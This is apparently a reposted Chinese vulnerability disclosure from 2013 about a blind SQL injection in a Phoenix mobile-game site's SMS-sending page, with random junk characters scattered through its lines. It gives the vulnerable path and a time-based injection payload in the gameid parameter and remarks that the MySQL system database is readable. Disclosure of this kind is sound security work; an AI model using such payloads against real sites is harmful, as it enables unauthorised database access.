简要描述：
: O Q7 F6 S9 N. p0 h9 n* _; l" B凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。
# ~# O( C2 i* |) W9 e; V/ \( h6 a/ }, ~
详细说明：* b. j6 }3 S& r2 l0 E2 U
存在SQL盲注url:
4 `' I. ~1 X" D# B# O! O) x) N+ Ufenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1. b; A7 D) {9 j. m
http://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png
# w3 ^7 F' u# l' z! K' Mhttp://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png7 D# ^5 y/ K9 r |" D
http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg/ Y& y6 x$ | ]- w! j- x! k
4 P. [5 t+ D% Q6 }5 [4 c9 |" |能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对